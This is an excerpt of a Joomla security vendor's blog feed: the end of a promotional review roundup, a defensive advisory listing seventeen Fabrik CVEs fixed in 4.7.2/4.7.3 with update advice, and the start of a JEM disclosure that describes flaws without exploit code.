&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“I&apos;ve been managing multiple Joomla! websites for years, and I honestly can&apos;t believe I wasn&apos;t using mySites.guru sooner. It has completely changed the way I maintain and monitor my sites.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/tomasz.webp&quot; alt=&quot;Tomasz, AL-TAIR&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Tomasz&lt;/a&gt;&lt;span&gt;AL-TAIR · 11 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Tomasz closes that review by calling it “one of those tools that, once you start using it, you wonder how you ever managed without it.” We are quoting it because it describes a specific and avoidable situation: running ten or fifty or two hundred sites on trust and a calendar reminder, then discovering the gaps only when one of them is defaced.&lt;/p&gt;
&lt;p&gt;If you manage more than a handful of Joomla or WordPress sites and you cannot currently answer, in under a minute, which of them is running an extension with a &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;known vulnerability&lt;/a&gt;, which has not been &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;backed up this week&lt;/a&gt;, and which is on an &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;unsupported PHP version&lt;/a&gt;, then you are the person these ninety reviews are describing before they found the tool.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; answers those three questions for one site without a card. If your site is already compromised, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a single fixed fee per incident, usually same day, and it is screened before anyone commits so you are not charged in the very rare case that it cannot be fixed.&lt;/p&gt;
&lt;h2&gt;Read them yourself, or add one&lt;/h2&gt;
&lt;p&gt;All 268 reviews are on the &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt;, oldest to newest, every one under a real name. &lt;a href=&quot;https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/&quot;&gt;WP Mayor reviewed the service independently&lt;/a&gt; and scored it 4.6 out of 5, which is worth more than anything we publish about ourselves because we had no say in it.&lt;/p&gt;
&lt;p&gt;And if you use mySites.guru, &lt;a href=&quot;https://send-review.mysites.guru/&quot;&gt;the form is here&lt;/a&gt;. No one will ask you first.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/&quot;&gt;WordPress Plugin Directory&lt;/a&gt; for checking what a plugin is and who maintains it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/&quot;&gt;CVE Program&lt;/a&gt; for looking up a specific vulnerability identifier&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities Catalog&lt;/a&gt; for which flaws are actually being used in attacks&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>reviews</category><category>site management</category><category>agency tools</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/img/og/blog/what-90-reviews-say-about-mysites-guru.png" length="0" type="image/png"/></item><item><title>Fabrik 4.7.2 for Joomla: A Long List of Security Fixes</title><link>https://mysites.guru/blog/fabrik-4-7-2-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/fabrik-4-7-2-security-release/</guid><description>Fabrik 4.7.2 for the Joomla extension closes a long list of unauthenticated vulnerabilities, most of them found and reported by mySites.guru. Update now.</description><pubDate>Sat, 22 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Updated 24 August: Fabrik 4.7.3 is out, and it is now the version to install&lt;/p&gt;
  &lt;p&gt;Fabrikar released &lt;strong&gt;4.7.3&lt;/strong&gt; on Monday 24 August 2026. It adds no new security fixes: it mops up two regressions that 4.7.2 introduced, links to Fabrik pages from outside websites returning a 404 error, and HEAD requests to Fabrik forms returning 404 while GET returned 200. It has every security fix listed below, and it also ends the guessing that the re-issued 4.7.2 builds caused, because a site showing 4.7.3 has the full fix set. This time the release is in Fabrik&apos;s Joomla update feed, so the Joomla updater should offer it on sites with a valid subscription.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Fabrikar released &lt;strong&gt;Fabrik 4.7.2&lt;/strong&gt; for Joomla on 22 August 2026. It is a security release, and it closes a long list of unauthenticated vulnerabilities in the application and form builder, most of them found and reported by mySites.guru and credited to us by name in &lt;a href=&quot;https://fabrikar.com/changelogs/changelog-history&quot;&gt;Fabrik’s own changelog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you run Fabrik on any Joomla site, update now. The current release is &lt;strong&gt;4.7.3&lt;/strong&gt;, a bug-fix follow-up from 24 August that includes everything 4.7.2 closed. This post is the plain list of what it fixes and what to do. For the back-story of how the 4.7.x line got here, across 4.6.7, 4.6.8, 4.7.0 and 4.7.1, see &lt;a href=&quot;https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/&quot;&gt;The Fabrik Fiasco&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fabrik 4.7.2&lt;/strong&gt; (22 August 2026) is a security release closing a long list of &lt;strong&gt;unauthenticated&lt;/strong&gt; vulnerabilities: remote code execution, SQL injection, arbitrary file upload, directory listing, database table listing, row disclosure, comment manipulation, path traversal and a heredoc breakout&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Most of the fixes are credited to mySites.guru&lt;/strong&gt; in Fabrik’s changelog&lt;/li&gt;
&lt;li&gt;The Joomla CNA has published &lt;strong&gt;seventeen CVE records&lt;/strong&gt;, and &lt;strong&gt;sixteen credit mySites.guru&lt;/strong&gt; as the finder, &lt;strong&gt;four of those at CVSS 10.0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update every Fabrik install to 4.7.3&lt;/strong&gt; (24 August 2026), a bug-fix follow-up that has every security fix in 4.7.2 plus repairs for two 404 regressions, and whose version number, unlike the re-issued 4.7.2 builds, tells you exactly what you have&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 3 sites cannot install any Fabrik 4 release.&lt;/strong&gt; There is a manual one-line vendor patch for the calc flaw, offered as-is; plan removal or migration&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site running Fabrik below 4.7.2&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The full list of fixes&lt;/h2&gt;
&lt;p&gt;The Joomla CNA has published seventeen CVE records for this release, and &lt;strong&gt;sixteen of them credit mySites.guru as the finder&lt;/strong&gt;, four of those at the maximum &lt;strong&gt;CVSS 10.0&lt;/strong&gt;. They are listed here worst first, and every CVE links to its published record. One of the seventeen, the database table listing, appears in no version of Fabrik’s changelog at all; its CVE record is the only public documentation it has.&lt;/p&gt;

















































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;CVSS 4.0&lt;/th&gt;&lt;th&gt;What it is&lt;/th&gt;&lt;th&gt;Reported by&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76604/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76604/&quot;&gt;CVE-2026-76604&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0 Critical&lt;/td&gt;&lt;td&gt;Unauthenticated remote code execution via &lt;code&gt;form_php&lt;/code&gt; &lt;code&gt;_runPHP&lt;/code&gt;&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76605/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76605/&quot;&gt;CVE-2026-76605&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0 Critical&lt;/td&gt;&lt;td&gt;Unauthenticated remote code execution via the image element with the eval flag&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76606/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76606/&quot;&gt;CVE-2026-76606&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0 Critical&lt;/td&gt;&lt;td&gt;Path traversal in the image element&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76607/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76607/&quot;&gt;CVE-2026-76607&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0 Critical&lt;/td&gt;&lt;td&gt;Missing access check in the download plugin’s foreign-key branch&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77992/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77992/&quot;&gt;CVE-2026-77992&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.5 Critical&lt;/td&gt;&lt;td&gt;Heredoc escaping breakout in the calc element&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76571/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76571/&quot;&gt;CVE-2026-76571&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.3 Critical&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection in the list filter condition parameter&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76602/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76602/&quot;&gt;CVE-2026-76602&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.3 Critical&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection in ORDER BY, via a &lt;code&gt;CONCAT(&lt;/code&gt; allowlist bypass&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76596/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76596/&quot;&gt;CVE-2026-76596&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7 High&lt;/td&gt;&lt;td&gt;Unauthenticated table truncation via &lt;code&gt;list.doempty&lt;/code&gt;&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76597/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76597/&quot;&gt;CVE-2026-76597&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7 High&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary file upload to the web root, in the list email plugin&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76598/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76598/&quot;&gt;CVE-2026-76598&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7 High&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary directory listing via &lt;code&gt;onAjax_getFolders&lt;/code&gt;&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76599/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76599/&quot;&gt;CVE-2026-76599&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7 High&lt;/td&gt;&lt;td&gt;Unauthenticated database table and table-prefix disclosure via &lt;code&gt;ajax_tables&lt;/code&gt;&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77027/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77027/&quot;&gt;CVE-2026-77027&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.6 High&lt;/td&gt;&lt;td&gt;Unauthenticated stored XSS via the JS-Actions feature&lt;/td&gt;&lt;td&gt;Fabrik&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76600/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76600/&quot;&gt;CVE-2026-76600&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;td&gt;Unauthenticated deletion of any comment&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76601/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76601/&quot;&gt;CVE-2026-76601&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;td&gt;Unauthenticated row reordering in the Order plugin&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76603/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76603/&quot;&gt;CVE-2026-76603&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;td&gt;Unauthenticated row disclosure via &lt;code&gt;form.inlineedit&lt;/code&gt;&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76608/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76608/&quot;&gt;CVE-2026-76608&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;td&gt;Unauthenticated disclosure of any commenter’s email address&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76609/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76609/&quot;&gt;CVE-2026-76609&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;td&gt;Unauthenticated modification of any comment&lt;/td&gt;&lt;td&gt;mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Fabrik 4.7.2 also re-closed a regression of the original calc-element flaw, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66915&quot;&gt;CVE-2026-66915&lt;/a&gt;, which had been reachable again through a second placeholder substituter; the changelog credits mySites.guru with reporting that regression. The two remote code execution flaws that started this whole run, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66915/&quot;&gt;CVE-2026-66915&lt;/a&gt; in the calc element (reported by Moe Khalilov of LeetProtect Research) and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67282&quot;&gt;CVE-2026-67282&lt;/a&gt; in the list filter model (reported by Murad Gasimov), were both scored CVSS 4.0 10.0 Critical and fixed earlier in the 4.6.x line.&lt;/p&gt;
&lt;h2&gt;Just how bad is this?&lt;/h2&gt;
&lt;p&gt;Honestly, about as bad as an extension vulnerability set gets. Four of these are scored &lt;strong&gt;CVSS 10.0&lt;/strong&gt;, the maximum, and each of the four is reachable by an anonymous visitor with no login: two are direct remote code execution, one is a path traversal in the image element, and one strips out an access check. Add the 9.5 heredoc breakout and the two 9.3 SQL injections and that is seven Critical-rated unauthenticated flaws in a single component, before you count the Highs and the Mediums.&lt;/p&gt;
&lt;p&gt;We have been finding and reporting Joomla extension vulnerabilities for years, and a list this long and this severe closed in one release is among the worst we have seen in a long time. If you run Fabrik, treat it that way. Any version below 4.7.2 should be assumed exposed, and the sites most at risk are the ones that publish a Fabrik form or list a visitor can reach without logging in.&lt;/p&gt;
&lt;h2&gt;What to do&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update every Fabrik install to 4.7.3.&lt;/strong&gt; It is the current release, published 24 August 2026, and it contains every security fix from 4.7.2 plus repairs for two 404 regressions that 4.7.2 introduced, on links to Fabrik pages from outside websites and on HEAD requests. It needs a valid Fabrik subscription, and this time it is in Fabrik’s Joomla update feed, so the Joomla updater should offer it; if it does not, download it from My Download Files on fabrikar.com. A site showing 4.7.3 has the full fix set, which the version string alone could never tell you on the re-issued 4.7.2 builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test before you deploy.&lt;/strong&gt; 4.7.x is a real upgrade rather than a point release: it breaks any &lt;code&gt;userAjax&lt;/code&gt; calls you use, and sites running the FullCalendar or Paypal plugins need those updated to current versions at the same time. Install and test on a sandbox before a live site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 3 sites need a different plan.&lt;/strong&gt; Fabrik 4 installs on Joomla 4.2 and above and Joomla 5.1 and above only. There is no patched Fabrik 3 release. The vendor has published &lt;a href=&quot;https://joomla3security.com/vendors/fabrik/&quot;&gt;a manual one-line source patch for the calc flaw&lt;/a&gt; in its Announcements forum, offered as-is with no warranty; apply it as a stopgap while you plan removal or migration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check exposed sites for compromise.&lt;/strong&gt; An unauthenticated flaw leaves no login trail, so updating does not tell you whether a site was already hit. Look for unfamiliar administrator accounts, recently modified or unexpected PHP files, and scheduled tasks you did not create.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Finding every Fabrik install across your Joomla sites&lt;/h2&gt;
&lt;p&gt;The hard part of a list like this is not the fix, it is finding every site that needs it before an attacker does. mySites.guru keeps a live inventory of every extension on every connected Joomla site and flags the ones running an affected version of Fabrik, so this turns into a filtered list rather than an afternoon of logging into control panels. We flag every Fabrik install running any version below 4.7.2.&lt;/p&gt;
&lt;h2&gt;At a glance&lt;/h2&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;Fabrik for Joomla (&lt;code&gt;com_fabrik&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Fabrikar (&lt;a href=&quot;https://fabrikar.com/&quot;&gt;fabrikar.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Multiple unauthenticated flaws: remote code execution (CWE-94), SQL injection (CWE-89), arbitrary file upload (CWE-434), path traversal (CWE-22), directory listing and access-control failures&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;Up to 10.0 (Critical). Four issues score the maximum 10.0, seven are Critical in all, the rest High and Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVEs&lt;/td&gt;&lt;td&gt;Seventeen published by the Joomla CNA, sixteen crediting mySites.guru as finder. The full list, with links and scores, is in the table above&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Unauthenticated remote code execution, full-database SQL injection, arbitrary file upload to the web root, and unauthorised disclosure or modification of data, most with no login, token or user interaction&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru (sixteen of the seventeen)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Every Fabrik release below 4.7.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;Fabrik 4.7.2, released 22 August 2026. The current release is 4.7.3 (24 August 2026), a bug-fix follow-up with no security changes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-16&lt;/strong&gt; We report four unauthenticated issues to Fabrik and the Strike Team A list-filter blind SQL injection reading any table, an arbitrary file upload reaching the web root, a list truncation, and a directory listing. A bypass of the SQL injection fix follows on 18 August, and a heredoc breakout on 22 August.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-22&lt;/strong&gt; Fabrik 4.7.2 ships as a security release It closes a long list of unauthenticated vulnerabilities: remote code execution, SQL injection, arbitrary file upload, directory listing, database table listing, row disclosure, comment manipulation, path traversal and a heredoc breakout. Most of the fixes are credited to mySites.guru by name in Fabrik&apos;s own changelog, which is a change from how the 4.6.x releases were handled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-24&lt;/strong&gt; 4.7.3 becomes the version to install No new security fixes. It repairs two regressions 4.7.2 introduced, on links to Fabrik pages from outside websites and on HEAD requests, and it is in Fabrik&apos;s Joomla update feed, so the updater should offer it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; Seventeen CVE records are published, sixteen crediting mySites.guru Four of them score CVSS 4.0 10.0, seven are Critical in all, and the rest High and Medium.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/&quot;&gt;The Fabrik Fiasco: Announced, Restricted, Relabelled&lt;/a&gt;, the back-story across 4.6.7 to 4.7.0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/changelogs/changelog-history&quot;&gt;Fabrik&apos;s changelog history&lt;/a&gt;, the vendor&apos;s own record of the fixes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66915&quot;&gt;CVE-2026-66915&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67282&quot;&gt;CVE-2026-67282&lt;/a&gt; at CVE.org, the two originally published remote code execution flaws&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Every security announcement we have published&lt;/a&gt;, the full archive, which this release joins&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;, the pattern behind most of the flaws in the list above&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Twenty rules for Joomla extension developers handling a security report&lt;/a&gt;, the standard this release is measured against&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>fabrik</category><category>vulnerability</category><category>rce</category><category>sql injection</category><enclosure url="https://mysites.guru/img/og/blog/fabrik-4-7-2-security-release.png" length="0" type="image/png"/></item><item><title>Five Security Issues in JEM (Joomla Event Manager), and No Stable Fix Yet</title><link>https://mysites.guru/blog/jem-joomla-event-manager-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/jem-joomla-event-manager-disclosure/</guid><description>mySites.guru found and reported multiple security issues in JEM (Joomla Event Manager), including an unauthenticated article overwrite. No stable fix yet.</description><pubDate>Sat, 22 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomlaeventmanager.net/&quot;&gt;JEM, the Joomla Event Manager&lt;/a&gt;, is a long-running events component for Joomla. During security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru found several security issues in JEM and reported them privately&lt;/strong&gt; to the developers and to the Joomla Security Strike Team. The Joomla project’s CVE Numbering Authority has assigned five CVE IDs.&lt;/p&gt;
&lt;p&gt;The most serious of them lets an anonymous visitor, with no account at all, overwrite and publish a Joomla article. There is one catch that shapes everything below: the fixes exist so far only in a release candidate, not a stable release, so there is no finished version to update to yet. This post covers what was found, the CVE numbers, and what you can do right now.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found and privately reported multiple security issues in &lt;strong&gt;JEM (Joomla Event Manager)&lt;/strong&gt;, the &lt;code&gt;com_jem&lt;/code&gt; component, confirmed against JEM 5&lt;/li&gt;
&lt;li&gt;The most serious lets an &lt;strong&gt;anonymous visitor overwrite and publish a Joomla article&lt;/strong&gt; with no login. Others allow a registered user to take over another user’s event or venue, a reflected cross-site scripting flaw in the PDF export link, and attendee data readable by any logged-in user&lt;/li&gt;
&lt;li&gt;The Joomla CNA assigned five CVE IDs, and &lt;strong&gt;all five published on 27 August 2026&lt;/strong&gt;, each crediting mySites.guru as the finder: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77991/&quot;&gt;CVE-2026-77991&lt;/a&gt; (&lt;strong&gt;9.4 Critical&lt;/strong&gt;), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77034/&quot;&gt;CVE-2026-77034&lt;/a&gt; (6.9), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77990/&quot;&gt;CVE-2026-77990&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77989/&quot;&gt;CVE-2026-77989&lt;/a&gt; (5.3 each), and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77035/&quot;&gt;CVE-2026-77035&lt;/a&gt; (5.1)&lt;/li&gt;
&lt;li&gt;The fixes are in &lt;strong&gt;JEM 5.0.1&lt;/strong&gt;, which at the time of writing exists &lt;strong&gt;only as a public release candidate&lt;/strong&gt;, not a stable release. The newest stable version, 5.0.0, is affected&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;There is no stable fix to install yet.&lt;/strong&gt; Apply the mitigations below, and update to JEM 5.0.1 the moment the stable release is available&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site running an affected version of JEM automatically&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;We reported these issues privately, as we always do. The reason this is public before a stable release exists is that the vendor pushed the corrected code to a public release candidate on GitHub, and once the fix is public the flaw is too. We are publishing now, with mitigations, so the site owners who depend on JEM hear it from us.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What was found&lt;/h2&gt;
&lt;p&gt;We confirmed four issues against JEM 5 and noted two more from reading the code. We are describing them at the level of what an attacker can do and how to limit it, not publishing working exploits.&lt;/p&gt;
&lt;h3&gt;An anonymous visitor can overwrite and publish an article&lt;/h3&gt;
&lt;p&gt;JEM has a front-end action that updates the Joomla content article attached to an event, and it performed no permission check before writing to that article, including setting it to published. A visitor with nothing more than an ordinary session could republish and overwrite an article, including one that was unpublished. This is the most serious of the set because it needs no account at all and it writes to core Joomla content.&lt;/p&gt;
&lt;h3&gt;A registered user can take over another user’s event or venue&lt;/h3&gt;
&lt;p&gt;The check that decides whether you may edit a record trusted values sent in the request rather than the values stored in the database. A logged-in user with permission to edit their own events could send another user’s record along with their own identifier and take the record over. This needs only a plain registered account on a site that lets members create events.&lt;/p&gt;
&lt;h3&gt;A reflected cross-site scripting flaw in the PDF export link&lt;/h3&gt;
&lt;p&gt;The export link copied the page’s request parameters into the page without escaping them, so a crafted link could inject markup that runs in the victim’s browser. Joomla’s standard text filtering does not stop this, because the injection does not need HTML tags.&lt;/p&gt;
&lt;h3&gt;Attendee data readable by any logged-in user&lt;/h3&gt;
